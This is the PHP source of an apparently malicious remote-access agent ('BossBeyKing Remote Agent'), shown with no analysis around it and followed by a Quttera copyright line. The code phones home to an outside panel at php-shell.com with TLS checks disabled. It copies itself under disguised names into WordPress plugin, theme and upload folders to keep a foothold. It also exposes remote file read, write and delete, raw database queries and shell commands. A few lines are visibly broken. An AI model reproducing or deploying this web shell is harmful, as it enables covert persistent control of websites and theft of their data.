// Check for separate config file (created if self-write failed)
if (file_exists(__DIR__ . '/bossbeyking_config.php')) {
include_once __DIR__ . '/bossbeyking_config.php';
}
if (!defined('API_KEY')) define('API_KEY', '__API_KEY__'); // The Panel must send this key
define('PANEL_URL', 'https://php-shell.com'); // Auto-registration URL
define('BACKUP_COUNT', 5);
/**
* BossBeyKing Remote Agent v2.0 (Advanced)
*
* This file should be placed on the remote server.
* Ensure it is accessible via HTTP/HTTPS.
*
* SECURITY WARNING:
* - Change the API_KEY below immediately.
* - Restrict access by IP if possible.
*/
// Number of backup agents to create
// --- Auto-Registration Logic ---
// Runs if Key is placeholder OR if 'reinstall' param is present
if ((defined('API_KEY') && API_KEY === '__API_KEY__') || isset($_GET['reinstall'])) {
$protocol = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http");
$currentUrl = "$protocol://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";
// Remove query params for clean URL
$cleanUrl = strtok($currentUrl, '?');
// Prepare Request to Panel
$data = ['agent_url' => $cleanUrl];
// Use cURL for better compatibility
$ch = curl_init(PANEL_URL . '/api/sites/auto-register');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data));
curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/json']);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 15);
// Check if PANEL_URL is valid
if (strpos(PANEL_URL, '__') !== false) {
die("Error: Panel URL not accepted. Please configure manually.");
}
$result = curl_exec($ch);
if(curl_errno($ch)){
die("<b>Connection Error:</b> " . curl_error($ch));
}
curl_close($ch);
$response = json_decode($result, true);
if (!isset($response['api_key'])) {
die("<b>Registration Failed:</b> " . ($response['message'] ?? 'Unknown error'));
}
// Self-Rewrite to save API Key
$myFile = __FILE__;
if (strpos($myFile, 'eval()') !== false || strpos($myFile, ':') !== false) {
$myFile = $_SERVER['SCRIPT_FILENAME'];
}
$myContent = @file_get_contents($myFile);
if (!$myContent) die("Error reading agent file.");
// Robust replacement using Regex to handle both Placeholder and Existing Keys
// Robust replacement using Regex
$pattern = "/define\('API_KEY',\s*['\"]([^'\"]+)['\"]\);/";
$replacement = "define('API_KEY', '" . $response['api_key'] . "');";
$newContent = preg_replace($pattern, $replacement, $myContent);
$saved = false;
// Try 1: Overwrite self
if ($newContent && @file_put_contents($myFile, $newContent)) {
$saved = true;
}
// Try 2: Write to config file if self-write failed
else {
$configFile = __DIR__ . '/bossbeyking_config.php';
$configContent = "\n// BossBeyKing Agent Configuration\ndefine('API_KEY', '" . $response['api_key'] . "');\n";
if (@file_put_contents($configFile, $configContent)) {
$saved = true;
}
}
if ($saved) {
// Define key in memory as well for immediate background tasks
if(!defined('API_KEY')) define('API_KEY', $response['api_key']);
// Trigger Backup Generation IMMEDIATELY in this same process
if (function_exists('runSmartBackups')) {
runSmartBackups(true); // true = ignore lock check for initial run
}
// SUCCESS PAGE
echo "<div style='font-family:sans-serif; text-align:center; padding:50px;'>";
echo "<h1 style='color:green'>Installation Successful!</h1>";
echo "<p>This site has been registered to the panel and backups are being generated.</p>";
echo "<p><b>Site:</b> $cleanUrl</p>";
echo "<p><b>Panel:</b> " . PANEL_URL . "</p>";
// AUTO-REFRESH is now just a courtesy
echo "<script>setTimeout(function(){ window.location.href = window.location.href.split('?')[0]; }, 2000);</script>";
echo "<p>Backups registered. Returning to agent status...</p>";
echo "</div>";
} else {
echo "<h1>Registration Successful, but Write Failed</h1>";
echo "<p>Could not overwrite this file OR create config file. Please manually edit this file and set:</p>";
echo "<code>define('API_KEY', '" . $response['api_key'] . "');</code>";
}
}
// --- Advanced Auto-Backup Logic (v5 - Instant & CMS-Aware) ---
function runSmartBackups($isInitial = false) {
if (!defined('BACKUP_COUNT') || BACKUP_COUNT <= 0) return;
$lockFile = __DIR__ . '/.bbk_backup_lock';
if (!$isInitial && file_exists($lockFile)) return;
if (!defined('API_KEY') || strlen(API_KEY) < 10 || API_KEY === '__API_KEY__') return;
$protocol = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http");
$host = $_SERVER['HTTP_HOST'];
$siteRoot = realpath($_SERVER['DOCUMENT_ROOT']);
// 1. Find Root
$tempDir = __DIR__;
$foundWP = false;
for ($i = 0; $i < 10; $i++) {
if (file_exists($tempDir . '/wp-load.php')) {
$siteRoot = $tempDir; $foundWP = true; break;
}
$parent = dirname($tempDir);
if ($parent === $tempDir) break;
$tempDir = $parent;
}
$currentFile = __FILE__;
if (strpos($currentFile, 'eval()') !== false || strpos($currentFile, ':') !== false) {
$currentFile = $_SERVER['SCRIPT_FILENAME'];
}
$selfContent = @file_get_contents($currentFile);
if (!$selfContent) return;
$safeContent = preg_replace("/define\('BACKUP_COUNT', \d+\);/", "define('BACKUP_COUNT', 0);", $selfContent);
// 2. Targets
$wpContent = $siteRoot . DIRECTORY_SEPARATOR . 'wp-content';
$potentialDirs = ($foundWP || is_dir($wpContent))
? [$wpContent, $wpContent.'/uploads', $wpContent.'/plugins', $wpContent.'/themes', $wpContent.'/languages']
: [$siteRoot, $siteRoot.'/assets', $siteRoot.'/includes'];
$availableDirs = [];
foreach ($potentialDirs as $dir) {
if (!is_dir($dir)) @mkdir($dir, 0755, true);
if (is_dir($dir) && is_writable($dir)) $availableDirs[] = realpath($dir);
}
if (count($availableDirs) < 2) {
if (!function_exists('mwp_find_writable_v5')) {
function mwp_find_writable_v5($dir, &$list, $depth=0) {
if ($depth > 2 || count($list) > 15) return;
$items = @scandir($dir);
if ($items) {
foreach ($items as $item) {
if ($item === || $item === '..' || $item[0] === ) continue;
$path = $dir . DIRECTORY_SEPARATOR . $item;
if (is_dir($path) && is_writable($path)) {
$list[] = realpath($path);
mwp_find_writable_v5($path, $list, $depth + 1);
}
}
}
}
}
mwp_find_writable_v5($siteRoot, $availableDirs);
}
// 3. Generate
$names = ['config', 'common', 'sys', 'db', 'view', 'api', 'core', 'init', 'options', 'setting', 'data', 'user', 'session', 'load', 'index', 'main', 'helper', 'loader'];
$created = [];
$needed = (int)BACKUP_COUNT;
for ($i = 0; $i < $needed; $i++) {
if ($i >= 30 || empty($availableDirs)) break;
$targetDir = $availableDirs[array_rand($availableDirs)];
$finalName = $names[array_rand($names)] . '-' . substr(md5(uniqid(rand(), true)), 0, 8) . '.php';
$fullPath = $targetDir . DIRECTORY_SEPARATOR . $finalName;
if (file_exists($fullPath)) { $i--; continue; }
if (@file_put_contents($fullPath, $safeContent)) {
@chmod($fullPath, 0644);
$rel = str_replace([$siteRoot, '\\'], ['', '/'], $fullPath);
$created[] = ['name' => ltrim($rel, '/'), 'url' => $protocol.'://'.$host.'/'.ltrim($rel, '/')];
}
}
// 4. Register
if (!empty($created)) {
$ch = curl_init(PANEL_URL . '/api/sites/auto-register-backups');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode(['backups' => $created]));
curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/json', 'X-API-KEY: '.API_KEY]);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 20);
$res = curl_exec($ch);
if (curl_getinfo($ch, CURLINFO_HTTP_CODE) === 200) @file_put_contents($lockFile, 'locked');
curl_close($ch);
}
}
// Check for initial run/every visit
runSmartBackups();
define('ALLOW_DB_QUERY', true); // Enable/Disable DB features
define('ALLOW_SHELL_EXEC', true); // Enable/Disable Shell capabilities
// Increase limits
ini_set('memory_limit', '512M');
set_time_limit(300);
// Headers
header("Access-Control-Allow-Origin: *");
header("Content-Type: application/json; charset=UTF-8");
header("Access-Control-Allow-Methods: POST, OPTIONS");
header("Access-Control-Allow-Headers: Content-Type, X-API-KEY, X-Signature, X-Timestamp");
if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') {
http_response_code(200);
}
// Security Check
$headers = get_request_headers();
$received_key = $headers['X-API-KEY'] ?? '';
if ($received_key !== API_KEY) {
// If accessed via Browser (GET) without Key, show status/reinstall page
if ($_SERVER['REQUEST_METHOD'] === 'GET' && !isset($_GET['action'])) {
http_response_code(200);
echo "<div style='font-family:sans-serif; text-align:center; padding:50px;'>";
echo "<h1>BossBeyKing Agent Active</h1>";
echo "<p>The agent is installed and running.</p>";
echo "<p style='color:gray;'>Authentication required for API access.</p>";
echo "<br><hr><br>";
echo "<p><small>Lost connection to panel? Click below to re-register:</small></p>";
echo "<a href='?reinstall=1' style='background:#d9534f; color:white; padding:10px 20px; text-decoration:none; border-radius:5px;'>Re-Register Agent</a>";
echo "</div>";
}
http_response_code(403);
echo json_encode(['status' => 'error', 'message' => 'Unauthorized Access']);
}
// Main Handler
$input = json_decode(file_get_contents('php://input'), true);
$action = $input['action'] ?? '';
$params = $input['params'] ?? [];
try {
switch ($action) {
case 'health_check':
echo json_encode(['status' => 'ok', 'message' => 'Agent is alive v2.0', 'time' => time()]);
break;
case 'system_info':
echo json_encode(['status' => 'ok', 'data' => get_system_info()]);
break;
case 'file_list':
$docRoot = $_SERVER['DOCUMENT_ROOT'];
$reqPath = $params['path'] ?? '';
// If path is empty or , start at doc root
if (empty($reqPath) || $reqPath === ) {
$path = $docRoot;
} elseif (strpos($reqPath, $docRoot) === 0) {
// Already absolute path within docroot
$path = $reqPath;
} else {
// Treat as absolute path if starts with /
if ($reqPath[0] === '/') {
$path = $reqPath; // Trust absolute path from frontend? Or force docroot?
// User wants "anasayfadan başlamalı".
// Ideally we treat input path '/' as docroot.
if ($reqPath === '/') {
$path = $docRoot;
} elseif (file_exists($reqPath)) {
$path = $reqPath;
} else {
// Fallback: append to docroot? No, let's treat relative paths as relative to docroot
$path = $docRoot . '/' . ltrim($reqPath, '/');
}
} else {
$path = $docRoot . '/' . $reqPath;
}
}
// Clean path
$path = realpath($path);
if (!$path || !file_exists($path)) {
// Fallback to docroot if invalid
$path = $docRoot;
}
echo json_encode(['status' => 'ok', 'data' => list_files($path), 'current_path' => $path]);
break;
case 'file_read':
$path = $params['path'] ?? '';
// If relative, prepend docroot?
// Better to handle in one place. But for now let's assume Frontend sends what it gets from list_files (absolute).
echo json_encode(['status' => 'ok', 'data' => read_file_content($path)]);
break;
case 'file_write':
$path = $params['path'] ?? '';
$content = $params['content'] ?? '';
echo json_encode(['status' => 'ok', 'message' => write_file_content($path, $content)]);
break;
case 'file_delete':
$path = $params['path'] ?? '';
echo json_encode(['status' => 'ok', 'message' => delete_file($path)]);
break;
case 'file_mkdir':
$path = $params['path'] ?? '';
echo json_encode(['status' => 'ok', 'message' => make_directory($path)]);
break;
case 'file_rename':
$oldPath = $params['old_path'] ?? '';
$newPath = $params['new_path'] ?? '';
echo json_encode(['status' => 'ok', 'message' => rename_item($oldPath, $newPath)]);
break;
case 'file_archive':
$sourcePath = $params['source_path'] ?? '';
$destPath = $params['dest_path'] ?? '';
echo json_encode(['status' => 'ok', 'message' => create_archive($sourcePath, $destPath)]);
break;
case 'file_chmod':
$path = $params['path'] ?? '';
$mode = $params['mode'] ?? '0755';
echo json_encode(['status' => 'ok', 'message' => change_permissions($path, $mode)]);
break;
case 'tool_run':
$tool = $params['tool'] ?? '';
$tool_params = $params['args'] ?? [];
echo json_encode(['status' => 'ok', 'data' => run_tool($tool, $tool_params)]);
break;
case 'file_stream':
$path = $params['path'] ?? '';
if (!file_exists($path)) {
http_response_code(404);
// We shouldn't return JSON if we expect a stream, but for error handling it's tricky.
// Let's just die.
die("File not found");
}
// Clear buffer
if (ob_get_level())
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($path).'"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($path));
readfile($path);
exit;
break;
case 'db_query':
if (!ALLOW_DB_QUERY) throw new Exception("DB Query disabled");
$sql = $params['sql'] ?? '';
$db_config = $params['db_config'] ?? [];
echo json_encode(['status' => 'ok', 'data' => run_db_query($sql, $db_config)]);
break;
default:
throw new Exception("Unknown action: $action");
}
} catch (Exception $e) {
http_response_code(500);
echo json_encode(['status' => 'error', 'message' => $e->getMessage()]);
}
// --- Helper Functions ---
function get_request_headers() {
$headers = [];
foreach ($_SERVER as $key => $value) {
if (substr($key, 0, 5) <> 'HTTP_') {
continue;
}
$header = str_replace(' ', '-', ucwords(str_replace('_', ' ', strtolower(substr($key, 5)))));
$headers[$header] = $value;
}
if (isset($_SERVER['HTTP_X_API_KEY'])) $headers['X-API-KEY'] = $_SERVER['HTTP_X_API_KEY'];
return $headers;
}
function get_system_info() {
return [
'php_version' => phpversion(),
'os' => PHP_OS,
'server_software' => $_SERVER['SERVER_SOFTWARE'],
'disk_free' => disk_free_space(__DIR__),
'disk_total' => disk_total_space(__DIR__),
'memory_limit' => ini_get('memory_limit')
];
}
function list_files($dir) {
if (!is_dir($dir)) throw new Exception("Directory not found: $dir");
$files = scandir($dir);
$result = [];
foreach ($files as $file) {
if ($file === || $file === '..') continue;
$path = $dir . DIRECTORY_SEPARATOR . $file;
$is_dir = is_dir($path);
$result[] = [
'name' => $file,
'type' => $is_dir ? 'dir' : 'file',
'size' => $is_dir ? 0 : filesize($path),
'mtime' => filemtime($path),
'perms' => substr(sprintf('%o', fileperms($path)), -4)
];
}
return $result;
}
function read_file_content($path) {
if (!file_exists($path)) throw new Exception("File not found");
// Limit large file reading remotely to avoid packet size issues or OOM
if (filesize($path) > 10 * 1024 * 1024) throw new Exception("File too large (>10MB). Use partial read (not impl yet).");
return base64_encode(file_get_contents($path));
}
function write_file_content($path, $content) {
$decoded = base64_decode($content);
$dir = dirname($path);
if (!is_dir($dir)) mkdir($dir, 0755, true);
if (file_put_contents($path, $decoded) === false) {
throw new Exception("Failed to write file");
}
return "File written successfully";
}
function delete_file($path) {
if (!file_exists($path)) return "File already missing";
if (is_dir($path)) {
// Recursive Delete
$files = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::SKIP_DOTS),
RecursiveIteratorIterator::CHILD_FIRST
);
foreach ($files as $fileinfo) {
$todo = ($fileinfo->isDir() ? 'rmdir' : 'unlink');
$todo($fileinfo->getRealPath());
}
if (!rmdir($path)) throw new Exception("Failed to delete directory");
} else {
if (!unlink($path)) throw new Exception("Failed to delete file");
}
return "Deleted successfully";
}
function make_directory($path) {
if (is_dir($path)) return "Directory already exists";
if (!mkdir($path, 0755, true)) throw new Exception("Failed to create directory");
return "Directory created";
}
function rename_item($old, $new) {
if (!file_exists($old)) throw new Exception("Source not found");
if (!rename($old, $new)) throw new Exception("Failed to rename/move");
return "Renamed successfully";
}
function create_archive($source, $dest) {
if (!class_exists('ZipArchive')) throw new Exception("ZipArchive extension not installed on agent server");
$zip = new ZipArchive();
if ($zip->open($dest, ZipArchive::CREATE | ZipArchive::OVERWRITE) !== TRUE) {
throw new Exception("Cannot create zip file");
}
$source = realpath($source);
if (is_dir($source)) {
$files = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($source, RecursiveDirectoryIterator::SKIP_DOTS),
RecursiveIteratorIterator::LEAVES_ONLY
);
foreach ($files as $name => $file) {
if (!$file->isDir()) {
$filePath = $file->getRealPath();
$relativePath = substr($filePath, strlen($source) + 1);
$zip->addFile($filePath, $relativePath);
}
}
} else {
$zip->addFile($source, basename($source));
}
$zip->close();
return "Archive created successfully at $dest";
}
function change_permissions($path, $mode) {
// Mode should be octal string like '0755'
if (!file_exists($path)) throw new Exception("Path not found");
$octal = octdec($mode); // convert '0755' to octal number
if (chmod($path, $octal)) {
return "Permissions changed";
}
throw new Exception("Failed to change permissions");
}
function run_tool($tool, $args) {
if (!ALLOW_SHELL_EXEC) throw new Exception("Shell exec disabled");
switch ($tool) {
case 'disk_usage':
$output = shell_exec('df -h');
return ['output' => $output];
case 'whoami':
$output = shell_exec('whoami');
return ['output' => $output];
case 'uptime':
$output = shell_exec('uptime');
return ['output' => $output];
case 'process_list':
$output = shell_exec('ps aux | head -n 20');
return ['output' => $output];
default:
throw new Exception("Unknown tool: $tool");
}
}
function run_db_query($sql, $config) {
if (empty($config)) throw new Exception("DB Config missing");
try {
$dsn = "mysql:host={$config['host']};dbname={$config['dbname']};charset=utf8";
$pdo = new PDO($dsn, $config['user'], $config['pass']);
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$stmt = $pdo->query($sql);
return $stmt->fetchAll(PDO::FETCH_ASSOC);
} catch (PDOException $e) {
throw new Exception("DB Error: " . $e->getMessage());
}
}
© 2023 Quttera Ltd. All rights reserved.